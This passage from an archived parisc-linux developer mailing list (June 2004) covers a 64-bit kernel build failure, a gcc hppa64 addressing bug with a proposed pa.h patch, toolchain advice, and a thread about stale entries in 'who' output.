> carlos@firin:/mnt/flaire/src/linux-2.6$ make
> make[1]: `arch/parisc/kernel/asm-offsets.s' is up to date.
>   CHK     include/asm-parisc/offsets.h
>   CHK     include/linux/compile.h
>   GEN     .version
>   CHK     include/linux/compile.h
>   UPD     include/linux/compile.h
>   CC      init/version.o
>   LD      init/built-in.o
>   LD      .tmp_vmlinux1
> kernel/built-in.o(.text.put_files_struct+0x118): In function
> `put_files_struct':
> : undefined reference to `__xchg_called_with_bad_pointer'
> make: *** [.tmp_vmlinux1] Error 1
> carlos@firin:/mnt/flaire/src/linux-2.6$ 

It would be useful to confirm that the xchg() that's broken is the one in
close_files().  If it is, here's what's happening:

struct files_struct * files;
struct file * file = xchg(&files->fd[i], NULL);

The xchg() expands through:

#define xchg(ptr,x) \
	((__typeof__(*(ptr)))__xchg((unsigned long)(x),(ptr),sizeof(*(ptr))))

The third argument to __xchg() is therefore:

	sizeof(*(&files->fd[i]))
ie
	sizeof(file->fd[i])

struct files_struct {
        struct file ** fd;      /* current fd array */
}

So sizeof(file->fd[i]) should be sizeof(struct file *).  If that's not 8,
something is indeed broken and this trick has saved you from booting a
broken kernel ;-)

Care to produce a test-case?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux]      Heads up, 2.6.7-pa0 FTBS with 64-bit toolchain
Date: Sat, 19 Jun 2004 20:29:01 -0400 (EDT)
Lines: 38
Approved: news@gmane.org
Message-ID: <200406200029.i5K0T1re007012@hiauly1.hia.nrc.ca>
References: <40D4C53E.5000309@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623482 10012 80.91.229.3 (22 Nov 2014 02:31:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 743 invoked by uid 65534); 20 Jun 2004 00:30:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx003) with SMTP; 20 Jun 2004 02:30:14 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4D44F3BDD0; Sat, 19 Jun 2004 18:30:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30415-05; Sat, 19 Jun 2004 18:29:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C5E853BDD6; Sat, 19 Jun 2004 18:29:07 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 69F093BDCF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Jun 2004 18:29:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30415-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Jun 2004 18:29:04 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id EAA193BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Jun 2004 18:29:03 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i5K0T2Cp007013; Sat, 19 Jun 2004 20:29:03 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i5K0T1re007012;
	Sat, 19 Jun 2004 20:29:01 -0400 (EDT)
In-Reply-To: <40D4C53E.5000309@tiscali.be> from "Joel Soete" at Jun 19,
	2004 10:59:10 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21751

> regarding the pb of pointer comparison with gcc-3.3 and 3.4 64bits (sorry I didn't find back the gcc bug report reference) which 
> iirc jda re-qualified it in a binutils pb. (That why of my interest in binutils 2.15 :) to see if I can help.)

I don't know of any hppa64 bugs involving pointer comparison.  The cause
of the binutils bug is known:

<http://sources.redhat.com/ml/binutils/2004-06/msg00211.html>.

Until this is fixed, don't use cvs binutils from the trunk after
2004-05-11 17:08:32.

> Kyle McMartin wrote:
> > On Fri, Jun 18, 2004 at 07:17:14PM -0600, Grant Grundler wrote:
> > 
> >>Should I be testing 64-bit kernels built with this toolchain
> >>or stick with my trusty gcc 3.0.4-hppa64 handmade debs?
> >>
> > 
> > There's a bug in hppa64 gcc sometime after 3.0.4 (it shows up in the
> > gcc-3.3-hppa64 and gcc-3.4-hppa64 debs) that causes builds to fail in
> > (at least) loop.c.
> > 
> > http://gcc.gnu.org/bugzilla/show_bug.cgi?id=14782 is the bug Randolph
> > filed.

I believe that I understand the cause of this bug and have started
testing a fix.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux]      Heads up, 2.6.7-pa0 FTBS with 64-bit toolchain
Date: Sat, 19 Jun 2004 21:14:28 -0400 (EDT)
Lines: 75
Approved: news@gmane.org
Message-ID: <200406200114.i5K1ESYp007238@hiauly1.hia.nrc.ca>
References: <200406200029.i5K0T1re007012@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623482 10014 80.91.229.3 (22 Nov 2014 02:31:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 28597 invoked by uid 65534); 20 Jun 2004 01:15:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx055) with SMTP; 20 Jun 2004 03:15:15 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7D3F43BDD0; Sat, 19 Jun 2004 19:14:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30968-02; Sat, 19 Jun 2004 19:14:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 509593BDD6; Sat, 19 Jun 2004 19:14:35 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 228843BDCF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Jun 2004 19:14:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30415-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Jun 2004 19:14:31 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id DEC223BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Jun 2004 19:14:30 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i5K1ETCp007239; Sat, 19 Jun 2004 21:14:29 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i5K1ESYp007238;
	Sat, 19 Jun 2004 21:14:28 -0400 (EDT)
In-Reply-To: <200406200029.i5K0T1re007012@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Jun 19, 2004 08:29:01 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21752

> > Kyle McMartin wrote:
> > > On Fri, Jun 18, 2004 at 07:17:14PM -0600, Grant Grundler wrote:
> > > 
> > >>Should I be testing 64-bit kernels built with this toolchain
> > >>or stick with my trusty gcc 3.0.4-hppa64 handmade debs?
> > >>
> > > 
> > > There's a bug in hppa64 gcc sometime after 3.0.4 (it shows up in the
> > > gcc-3.3-hppa64 and gcc-3.4-hppa64 debs) that causes builds to fail in
> > > (at least) loop.c.
> > > 
> > > http://gcc.gnu.org/bugzilla/show_bug.cgi?id=14782 is the bug Randolph
> > > filed.
> 
> I believe that I understand the cause of this bug and have started
> testing a fix.

Enclosed is the patch that I am testing.  It seems to generated reasonable
code for the testcase that Carlos submitted today.  As far as I can tell,
the bug has been present in the FSF sources since the first support for
the 64-bit port (3.0 branch).  Thus, I expect the bug is present in debian
3.0.4, just not triggered.  The bug is triggered by the loop optimizer.

I would be interested in hearing if this solves the kernel build problem.
The patch is for 3.5.  It might need a bit of hacking to apply it to
earlier branches.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

2004-06-19  John David Anglin  <dave.anglin@nrc-cnrc.gc.ca>

	* pa.h (GO_IF_LEGITIMATE_ADDRESS): Require constant offsets to be
	correctly aligned for DImode loads and stores.

Index: config/pa/pa.h
===================================================================
RCS file: /cvs/gcc/gcc/gcc/config/pa/pa.h,v
retrieving revision 1.218
diff -u -3 -p -r1.218 pa.h
--- config/pa/pa.h	13 May 2004 06:40:03 -0000	1.218
+++ config/pa/pa.h	20 Jun 2004 00:32:04 -0000
@@ -1467,13 +1467,18 @@ extern int may_call_alloca;
       if (base								\
 	  && GET_CODE (index) == CONST_INT				\
 	  && ((INT_14_BITS (index)					\
-	       && (TARGET_SOFT_FLOAT					\
-		   || (TARGET_PA_20					\
-		       && ((MODE == SFmode				\
-			    && (INTVAL (index) % 4) == 0)		\
-			   || (MODE == DFmode				\
+	       && ((TARGET_64BIT && (MODE) == DImode			\
+		    && (INTVAL (index) % 8) == 0)			\
+		   || ((MODE) == SFmode					\
+		       && (TARGET_SOFT_FLOAT				\
+			   || (TARGET_PA_20				\
+			       && (INTVAL (index) % 4) == 0)))		\
+		   || ((MODE) == DFmode					\
+		       && (TARGET_SOFT_FLOAT				\
+			   || (TARGET_PA_20				\
 			       && (INTVAL (index) % 8) == 0)))		\
-		   || ((MODE) != SFmode && (MODE) != DFmode)))		\
+		   || ((!TARGET_64BIT || (MODE) != DImode)		\
+		       && (MODE) != SFmode && (MODE) != DFmode)))	\
 	       || INT_5_BITS (index)))					\
 	goto ADDR;							\
       if (!TARGET_DISABLE_INDEXING					\
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] who?
Date: Sat, 19 Jun 2004 22:04:06 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <200406200204.i5K246dC007504@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623483 10017 80.91.229.3 (22 Nov 2014 02:31:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 28064 invoked by uid 65534); 20 Jun 2004 02:04:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx055) with SMTP; 20 Jun 2004 04:04:29 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0D4833BDDA; Sat, 19 Jun 2004 20:04:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31227-08; Sat, 19 Jun 2004 20:04:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 408533BDDB; Sat, 19 Jun 2004 20:04:11 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 733023BDCF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Jun 2004 20:04:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 31227-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Jun 2004 20:04:08 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id F29963BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Jun 2004 20:04:07 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i5K246Cp007506 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Jun 2004 22:04:07 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i5K246dC007504
	for parisc-linux@lists.parisc-linux.org;
	Sat, 19 Jun 2004 22:04:06 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21753

I've noticed that "who" is essentially useless in reporting users who
are actually logged in.  There seems to be a rather poor cleanup when
connections die and a user doesn't logout.

dave@gsyprf11:~$ w
 18:58:55 up 17 days,  2:38, 99 users,  load average: 1.61, 1.42, 1.31
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
dave     pts/2595 hse-ottawa-ppp23 08:46    4:25m  2:17  10.75s less build2.log
dave     pts/2595 hse-ottawa-ppp23 10:34    0.00s  0.34s  0.03s w
dave@gsyprf11:~$ who
carlos   pts/24748    Jun  3 13:27 (ip47-168.ott.istop.com)
dave     pts/24749    Jun  3 21:44 (hse-ottawa-ppp235823.sympatico.ca)
grundler pts/24750    Jun  3 21:53 (c-24-6-53-189.client.comcast.net)
carlos   pts/24751    Jun  4 09:12 (ip47-168.ott.istop.com)
carlos   pts/24755    Jun  4 11:11 (ip47-168.ott.istop.com)
tausq    pts/24756    Jun  4 11:20 (gandalf.tausq.org)
carlos   pts/24757    Jun  4 14:40 (ip47-168.ott.istop.com)
grundler pts/24758    Jun  4 16:37 (c-24-6-53-189.client.comcast.net)
grundler pts/24759    Jun  4 19:02 (c-24-6-53-189.client.comcast.net)
dave     pts/24760    Jun  4 21:13 (hse-ottawa-ppp234817.sympatico.ca)
...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 	Heads up,	2.6.7-pa0 FTBS with 64-bit toolchain
	+ loop
Date: Sat, 19 Jun 2004 22:59:10 +0000
Lines: 44
Approved: news@gmane.org
Message-ID: <40D4C53E.5000309@tiscali.be>
References: <20040616194411.GB3412@baldric.uwo.ca>	<40D35B15.3040505@tiscali.be>
	<20040618212505.GA12572@engsoc.org>	<20040619011714.GC23535@colo.lackof.org>
	<20040619015455.GE12572@engsoc.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623483 10019 80.91.229.3 (22 Nov 2014 02:31:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@engsoc.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24145 invoked by uid 65534); 19 Jun 2004 22:57:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx037) with SMTP; 20 Jun 2004 00:57:28 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EC4933BDCF; Sat, 19 Jun 2004 16:57:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28429-05; Sat, 19 Jun 2004 16:57:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 843BB3BDD6; Sat, 19 Jun 2004 16:56:59 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 695473BDCF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Jun 2004 16:56:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28429-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Jun 2004 16:56:55 -0600 (MDT)
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id 1CD343BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Jun 2004 16:56:55 -0600 (MDT)
Original-Received: from [83.134.223.219] (helo=tiscali.be)
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BbolY-00058r-Bm; Sun, 20 Jun 2004 00:56:52 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040528 Debian/1.6-7
X-Accept-Language: en
In-Reply-To: <20040619015455.GE12572@engsoc.org>
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21754

Hello all,

And there is also this pb mentionned by James:
<http://lists.parisc-linux.org/pipermail/parisc-linux/2004-February/022335.html>

regarding the pb of pointer comparison with gcc-3.3 and 3.4 64bits (sorry I didn't find back the gcc bug report reference) which 
iirc jda re-qualified it in a binutils pb. (That why of my interest in binutils 2.15 :) to see if I can help.)

That said, my very interest in 3.4 (and 3.5 now because is became the debian gcc-snapshot ;) ) is to continue the glibc-2.3.3 test 
and see if additional integer lib (hp one iirc) can help for the few test which still failled?

I was focused last month on my c110 ncr53c8xx bug; now I trust it is fixed, so jda if you think that I can be of better help else 
where I can always try to have a look ;). Please advise.

Joel




Kyle McMartin wrote:
> On Fri, Jun 18, 2004 at 07:17:14PM -0600, Grant Grundler wrote:
> 
>>Should I be testing 64-bit kernels built with this toolchain
>>or stick with my trusty gcc 3.0.4-hppa64 handmade debs?
>>
> 
> There's a bug in hppa64 gcc sometime after 3.0.4 (it shows up in the
> gcc-3.3-hppa64 and gcc-3.4-hppa64 debs) that causes builds to fail in
> (at least) loop.c.
> 
> http://gcc.gnu.org/bugzilla/show_bug.cgi?id=14782 is the bug Randolph
> filed.
> 
> I've been building hppa64 kernels with the gcc 3.0.4 debs on the FTP
> server, until this issue is resolved. :/
> 
> Regards,

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] who?
Date: Sun, 20 Jun 2004 01:20:07 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20040620072007.GB18353@colo.lackof.org>
References: <200406200204.i5K246dC007504@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623483 10021 80.91.229.3 (22 Nov 2014 02:31:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7080 invoked by uid 65534); 20 Jun 2004 07:22:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx007) with SMTP; 20 Jun 2004 09:22:16 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 28A3B3BDCA; Sun, 20 Jun 2004 01:22:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
